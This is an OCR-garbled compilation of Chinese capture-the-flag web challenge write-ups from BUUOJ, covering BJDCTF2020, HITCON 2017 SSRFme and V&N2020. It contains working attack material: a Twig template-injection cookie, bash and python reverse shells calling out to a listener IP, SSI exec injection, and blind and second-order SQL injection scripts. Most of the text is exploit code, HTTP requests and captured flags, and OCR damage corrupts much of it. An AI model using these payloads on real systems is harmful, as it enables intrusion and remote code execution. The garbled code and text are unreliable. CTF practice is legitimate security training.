- Params | Headers | Hex [ Raw [ Headers | Hex | HTML | Render
GET Mlag.php HTTRM A A <=li clags=""==a href="index php">@Shana</a==/i=
Host: 286eeecd-f410-48a8-9bd3-c2c7dfb09050 node3 buuoj cn P =iul=
User-Agent: Mozilla/s.0 (Windows MNT 10.0; Wing4; x84, rv:71.0) Gecko/20100101 Firefox/71.0 <feliv=
Accept: textihtml ionfxhtml+xml ication/xmlg=0.9 */*g=0.8 <idiv=
Accept-Language: =h-CM,zh;g=0.8 zh-TW,gq=0.7 zh-HI;g=0 5 en-US; q=0.3 en;g=0.2 <hhav=<div class="cortainer pansl1"=
Accept-Encoding: gzip, deflate =cliv clags="row">
Referer: hitp://286eeecd-f410-46a8-9hd3-c2c7dfb09030 node3 buugj.cniflag.php =div class="col-md-4"=
Connection: close <kiv>
Cookie: PHPSESSID=35212abaeeb49c1 d516522a8eh31 373, =div class="col-md-4"=
user={{_self env registerUndefinedFiterCallback("exec") JH{_self env.getFiter("cat Mag") 1} =cliv class="jumbotro "= =gl ="form-aroue log"s
Content-Length: O =\abel><h2¥ello ﬂag{2b§9§11E-W!l-MUa-!lS!lS-ﬂSSWBSZ?chﬂJ‘h2»<l|abe|>
Upgrade-Insecure-Requests: 1 <fdiv= <div class="row pt-3"=

I =div class="col-md-12">
=a href="logout php"=<button type="submit" form="form1" name="Logout"
valueg="logout" class="btn btn-clefault float-right" >Logout=hutton=</a=
<fdiv=

2%
PR 55 S ABAR E N Bt
[BJDCTF2020]Cookie is so stable

[HITCON 2017]SSRFme

T IR


https://zhuanlan.zhihu.com/p/28823933
https://www.cnblogs.com/wangtanzhi/p/12330542.html

if (isset "HTTP_X_FORWARDED_FOR'

explode('," "HTTP_X_FORWARDED FOR'
'REMOTE_ADDR' 0
echo "REMOTE_ADDR"
"sandbox/" md5("orange" "REMOTE_ADDR"

@mkdir
@chdir

shell exec("GET " escapeshellarg "url"

pathinfo "filename"

str_replace(".", "", basename "dirname"
@mkdir
@chdir
@file_put_contents(basename "basename"

highlight_file( FILE__

B Rt 4 X v B iR
B —Minux-labs, BHEEFEip

1fconfig
Link encap:Ethernet Hwaddr 02:42
inet addr

) frame:0
) carrier:0

Link encap:Local Loopback
inet addr:127. 1 Mask:
UP LOOPBACK RUNNING MTU:
R¥ packet: ) dropped:@ overruns:0 frame:0
dropped:® overruns:® carrier:8
)

gtivs{lbRgrsdn.net/bmth

Ewww/html T Bl B x5 ARSI T .
bash -i >& /dev/tcp/174.1.246.212/6666 0<&1 2>&1
RIGEIEZ

Purl=http://174.1.246.212/x.txt&filename=a
Purl=&filename=bash a
Purl=file:bash a|&filename=xxx



nc -lvp 6666

) -bcB9-4fle-bd77-5a248c77dc2b . 1.nSbxgfmvumrygyepebffb847r.ctfd_swarm [174.1.246.233] 44380
: Inappropriate loctl for device
no an cnntrol in tr
andbox/edc8

yg.csdn.net/bmit

Wil - d ata @ lecdb8 434 ,-" va r,-"'l.\'l\"u\',-" htm
cd 4
Wil - ddtdl'ﬂECdb 08adad: /s s

home
lib
lib6d
media
mnt

opt

proc
readflag
root

ww-data@lecdb898adad :, /readflag
./readflag - . )
flag is flag{593d2c4d-33BelpmybEpSSUpeldana

FrewplX R EIE, HEH RN
FER—-MEEIZE, BRENESZHA:
PBAFAHE (RERRAE) AR (00 , BAREARBAR (1), null'sEM %4 R EEEH Anull


http://www.bendawang.site/2017/11/15/Hitcon2017-Web-Writeup/
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#ssrfme
https://www.jianshu.com/p/3f82685f56a8

2id=170~1, iR[Elid=0KI%5 5%, ERROR

Syclover @ elqy

sHe DEZE NEE (Jegss O e ar B &8 7 =SS @ HackBar @ Max HackBar

Enrnding Crher
cEncoding - alldl T A T LITNE e

http//649d4d3a-b8a5-440d-82fa-aad24102ca6d node3 buuoj cnisearch php
2id=1401

?id=1~1~1 IR [Elid =145 R

Syclover @ clqy

BrHles DEEs NREEs {(Jasss O O as E = 7 AEEmE @ HackBar a Max HacKBar

hitp://649d4d3a-b8a3-449d-62fa-aad24102ca6d node3 . buuoj.cnfsearch.php

2id=11"1

A& 2id=1~(length(database())>3)~1, REIKRid=1H%R, BEl(length(database())>3)=1, REK, UHAHEIEEN
KEAT3
S A .



# ZHEERIRE

# -*- coding: UTF-8 -*-
import re

import requests

import string

url = "http://649d4d3a-b8a5-449d-82fa-aad24102ca6d.node3.buuoj.cn/search.php”
flag = "'
def payload(i,j):
# sql = "17(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)"1"%(1

»3) # B EELF

# sql = "17(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="
geek'),%d,1))>%d)*1"%(1,3) #EKE

# sql = "17(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F
1naIly')),%d,1))>%d)*1"%(1i,7) #I 5

sql = "17(ord(substr((select(group_concat(password))from(Flnally)),%d,1))>%d)~1"%(i,J)
data = {"id":sql}

r = requests.get(url,params=data)

# print (r.url)

if "Click" in r.text:

res = 1
else:
res = 0
return res
def exp():

global flag
for i in range(1,10000) :

print(i,"':")
low = 31
high = 127

while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)

exp()
print('flag=",flag)



{8 ) — 7k B A B D R AR

[%25 KBk 2019] SQL (=)
[tk K Bkik 2019]FinalSQL

[BJDCTF2020]EasySearch

KR, NEAEE, BEwpKILswpilt#E


https://www.jianshu.com/p/39f8f0545777
https://www.cnblogs.com/wangtanzhi/p/12305052.html

ob_start();
function get_hash(){
= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 ! @#$% &* ()+-";

= [mt_rand(0,73)]. [mt_rand(0,73)]. [mt_rand(0,73)]. [mt_rand(0,73)]. [mt_ra
nd(0©,73)];//Random 5 times
= uniqid(). ;
return shal( );
)i
header("Content-Type: text/html;charset=utf-8");
3k k%
if(isset( ['username']) and ['username'] != """ )
{
= '6dobcl’;
if ( == substr(md5( ['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
= "public/".get_hash().".shtml";
= fopen( , "w") or die("Unable to open file!");
3k k%
3k k%
<hl>Hello, . ["username']."'</h1>
3k k%
3k k% ';
fwrite( 5 )
fclose( )
3k k%
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
telse
{
3k k%
b
k k%

passwordBi 6/~ FF Imd5 N % % F6d0bc1, I EMA T :

import hashlib

1list="0123456789"

for a in list:

for b in list:
for c in list:
for d in list:
for e in list:
for f in list:
for g in list:
strl = (atb+c+d+e+f+g)
value = hashlib.md5(strl.encode()).hexdigest()
if value[0:6] == '6d@bcl’:
print(strl)

/R =A%, BEELE AT

asySearch.py

DCTF2020]EasySearch.py hashlib

ternal Libraries




IR R LR B 7 — A ik

Request

Raw | Params | Headers | Hex

or d in list

for e in list

Response

Raw | Headers | Hex HTML]'Render}

POST fincex php HTTP A

Host: 5E694fff9-0f0f-4ea3-b523-8b2318377c1 a.node3 buuoj.cn

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x84, rv:71.0) Gecho/20100101 Firefox/71.0
Accept: texthtml ion/shtmi+xml nixmlg=0.9""g=0.5
Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Cortert-Type: applicationf-www-form-urlencodec

Contert-Length: 31

Origin: http: /15694 1ff9-0f0f-4ea3-b5e3-802318377c1a.node3 buuo).cn

Connection: close

Referer: hitp: 5624 fff0-0f0f-42a3-b5e3-8L2318377¢1 a.node3 buusj cnindex php
Upgrade-Insecure-Reqguests: 1

username=admin&password=2020668

i, wpiiESS T IR

T

HTTPi .1 200 OK
Server: openresty
Drgte: Fri, 20 Mar 2020 09:33:32 GMT
Cortent-Type: textihtm charset=utf-g
Contert-Length: 568
Connection: close
IUl'\_is_here: publicich4aa2d41 k91 e115cc04d1 21ELE31 aaQaSZbGSf.stll
Wary: Accept-Encoding
¥-Powered-By: PHP/7 .1.27

DCTYPE htmi>

<html=

<head=

=meta charset="utf-g"=

<title=Login=fitle=

=meta hitp-equiv="Content-Type" content="text/html,charset=UTF-5"=
=meta name="viewport" content="wicth=device-wicth">

<link href="publicicssbase css"r stylesheet” type="texticss">
<link href="public/csslogin.css" rel="stylesheet" type="texticss">
<head=

=hody=<script=alert("[+] Wel to ystem')</script=[!] Header error ...

=div class="foot">

bjd.cn

<fdliv=

<ffarm=
=fdiv=<hody>
<htrl=

<« C @

© & ibuuoj.cn/public/cb4aa2d41fb91e115cc04d12f6b631aa9a52b68f.shitml

Buamsrsss EEEmE @ Xkl P mlassesms. O S -SIRgs. © 2218 @ PTA | EFstss

Hello,admin

data: Friday, 20-Mar-2020 09:34:43 UTC

Client IP: 174.0.222.75

=div id="tip"==/div=



fEusernameZE & & A\ ssitE A R ERIT RG4S
<!--ftexec cmd="#4"-->

KIsEERERER, HH <!--#exec cmd="1s ../"-->

Request Response

J Raw T Params I Headers | Hex J Raw I Headers | Hex | HTML T Render ]

POST findex php HTTPA A " HTTP#M 1 200 OK

Host: S694fff0-0f0f-4ea3-hoe3-8b231837 71 a.node3 buus) .cn ™ Server openresty

User-Agent: Mozila/s.0 (Windows NT 10.0; Wing4, x64; rv.71.0) Gecko/20100101 Firefox/71.0 Date: Fri, 20 Mar 2020 09:42:08 GMT

Accept: texthtml applicationfxhtml+xml applicationfml;g=0.9 */* g=0.8 Content-Type: text/itml,charset=utf-5

Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-U5;g=0.3 en;g=0.2 Contert-Length: 568

Accept-Encoding: gzip, deflate Connection: ::ff

Contert-Type: application/-www-form-urlencoded Url_iz_herefpublic/9a01 2968 de 30922471611 0221 807 ceb7 3h4c21 .sh'tmll

Contert-Length: 51 “ary: Accept-Encocding

Origin: http: 1569411f9-0f0f-dea3-b5e3-8b2318377cla.node3 buucj.cn H-Powered-By: PHR/T 1 27

Connection: close

Referer: hitp: /2694 Fff9-0f0f-4ea3-h5e 3-Bb231 8377 ¢l a.node3 buue] cniindex php <IDOCTYPE hitmi=

Upgrade-Insecure-Requests: 1 =html=
<heacl>

username=<--gexec cmd="ls . /"--=&password=2020666 =meta charset="utf-5"=
<title=Login=tilz=

\ =meta http-equiv="Content-Type" content="text/ntml,charset=UTF-5">
ﬁéls / <|lneta naﬁe:"ﬂewpol‘t" conten?l="'u\iiIcllth.=device:lwidthjl> .

<link href="public/css/hase css" rel="stylesheet" type="text/css"=
<link href="puklic/csslogin css" rel="stylesheet" type="text/css">
<head=

K Iflag

&« c o ‘ © & buuoj.cn/public/9a91b2968dc3b9a547f611e9e21807ceb673bdc21.shiml v 2 +o0 ¥ ‘ N @D €

BEumsrus EsAm @ FFtE (P wissssems. O S -SiREs.

© =EE QD PTA | EESHETR.. @) &g © Nessus Essentials /F... @ EE

Hello,flag 990c66bf85a09¢c664f0b6741840499b2 index.php index.php.swp public

data: Friday, 20-Mar-2020 09:42:19 UTC

Client IP: 174.0.222.75

B ORIEELEI AT <! --#exec cmd="cat ../flag_990c66bFf85a09c664f0b6741840499b2" - ->

<« c @

‘ © & ruuoj.cn/public/e4057075a1abd97h9%aa7a76ddeb02519c6249603.shtml -

Bumsrsss R @ HiFxtlE (P Rlasserms. O (B -SIRsEs. @ S2E @ PTA | BEgitEs

Hello,flag{6525{483-9a4c-4514-9623-92¢69b322838}

data: Friday, 20-Mar-2020 09:45:44 UTC

Client IP: 174.0.222.75

%% . [BJDCTF2020]EasySearch

[V&N2020 A 7 3£ ]CHECKIN


https://www.cnblogs.com/wkzb/p/12391211.html
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LU= 2020 &£ 2 A 29 B V&N HAFE#ZZE Web 30570

[t

FHY WriteUp,

HEAK, — &

-+ L=k A0 &S
EX FF—F TR,

BHES W TN, FRIHEwp

from flask import Flask, request
import os
app = Flask(__name__

flag _file = open("flag.txt", "r"
# flag = flag _file.read()

# flag_file.close()

#

# @app.route('/flag')

# def flag():

# return flag

## want flag? naive!

# You will never find the thing you want:) I think

@app.route('/shell’

def shell
os.system("rm -f flag.txt"
exec_cmd = request.args.get('c’
os.system(exec_cmd

return "1"

@app.route('/’
def source

return open("app.py r read

if __name__ == "_ main__

app.run(host='0.0.0.90"

THAMNMHERK shell, EFRIIT S RIERSIE flag XM, BAER#HshelE] g SRS L

HFEEHLABED S, BT ARRATBRE B — AN/ N5k 15 M Basic L IEENL T, xsheli®#:, B ARZpythonE I, BT python/x #
shell

ifconfig FREXIPHihE

FREVEENL I ipHb bR NBI AT, FEION174.1.99.230, O HSRE —4, XBENT7777,

nc -lvp 7777 ¥iWrs H, LT JLIREID R #

/shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("

174.1.99.230',7777));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);o0s.dup2(s.fileno(),2);p=subprocess.call(['/bin/
bash','-i'1);"

ARNING | =) server rejected X11 forwarding request.




B frame:0

) carrier:0
col
RX

Link encap:Local Loopback

inet addr

UP LOOPBACK

RX packet overrun
TX packet :0 overrun

coll

listening on [a 777 ...
connect to [174.1 i 877ceds b4 -407h - 9eba-%2ebel c.l. 1
cannot set terminal proce 7): Inappropriate ioctl for dewvice
: no Job control in this
ofea70dbab :~5

HABMERE: R¥EZFEWUER flag XHRBMER T, EHTZRBEFITITT fag X, # linux RAH R —MEFITIT
T=AXHBRAERA, EMEMNSNEE (EXXRAA rm fflag.tt) BMBRZ G, 7E /proc XAN#ER pid B3R T fd LA H %
TIERLSE XA d, B IXASBATED T BB R ST A 2

oD

fea70dbab:/procs cd 10

oD

78dbdb: /proc/10% 1s

Case " IO~ PR T < V)
=]

attr
autogroup
au

cgroup
clear_refs
cmdline
comm
coredump_filter
cpuset

cwd
environ
exe

fd

fdinfo
gid_map

10

limits
loginuid
map_files
maps

mem

numa_maps
oom_adj
oom_score 1tps log.csdn.net/bmth

:/proc/10% cd fd

:/proc/le/fds 1s

:/proc/1e/fds cat *

on denied
on denied

T e s R R =]
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Fwple

HERGE %7 mlP FFN R E i i P S R B HEE b, 2 2R B INX-Forwarded-For] LMEip, HRENEA

R

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

GET /HTTPA 1

Host: node3 buuoj cri 29745

User-Agert: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:71.0) Geckoi20100101 Firefox/71.0
Accept: textihtml licationfxhtmi+xml lication/fxml; g=0.9 **g=0.8

Accept-Language: zh-CHN zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;g=0 3 en,q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: _ga=GA1.2.202177182.15847734594; PHPSESSID=02vEnm3gmatakvarkukyvvboDcs,
track_uuid=7ea2%1d-20e3-4162-8876-536ebeh40ads

Upgrade-Insecure-Reguests: 1

X-Forwarded-For:11111

Cache-Control: max-age=0

Z=hnX-Forwarded-For:11111

HTTPi1.1 200 OK

Server: nginxf 16.1

Dite: Sun, 22 Mar 2020 09:25:19 GMT
Contert-Type: texthtml; charset=UTF-8
Connection: close

¥-Powered-By: PHP/7.3.10
Contert-Length: 330

AT Online Proxy . {5170 i7url=. @0 /2url=https:/baidu.com/ . <br=

h T R A PR (A YR e R (O e
=L Debug infa:

Duration: 0.061658143997192 5

Carrent fp: 11111
Last fp: 174.0.222.75 —=

B, BTN RR PR AR T BN, MEREE:

P WA IR R IR 5 . 00 R <bre


https://www.zhaoj.in/read-6407.html

#!/usr/bin/env python3

import requests

target = "http://node3.buuoj.cn:29745/"

def execute_sql(sql):
print("[*]iEXRiEA: " + sql)
return_result = ""
payload = "@'|length((" + sql + "))|'e"

session = requests.session()
r = session.get(target, headers={'X-Forwarded-For': payload})

r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
start_pos = r.text.find("Last Ip: ")

end_pos = r.text.find(" -->", start_pos)

length = int(r.text[start_pos + 9: end_pos])
print("[+]&E: " + str(length))

for i in range(1, length + 1, 5):
payload = "@'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

r

session.get(target, headers={'X-Forwarded-For': payload}) # JFi&aFA

r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # B LKIPR AR — AKEA
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # KRB H17EE R
start_pos = r.text.find("Last Ip: ")

end_pos = r.text.find(" -->", start_pos)

result = int(r.text[start_pos + 9: end_pos])

return_result += bytes.fromhex(hex(result)[2:]).decode( 'utf-8")

print("[+]E " + str(i) + " HRAMKIT:" + bytes.fromhex(hex(result)[2:]).decode( 'utf-8"))

return return_result

# FREHE
print("[+]3REU&I: " + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# FREHER
print("[+]3REU&Ih: " + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_S
CHEMA = 'F419 D4t4B45e'"))

# KR ER
print("[+]3KEUEIN: " + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE
_SCHEMA = 'F419 D4t4B45e' AND TABLE_NAME = 'F419 t4ble' "))

# FKRFES P2
print("[+]3KEUEI: " + execute _sql("SELECT group_concat(F419 CO1uMn) FROM F419 DAt4BAS5e.F419 t4ble"))
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https://www.cnblogs.com/20175211lyz/p/11719397.html
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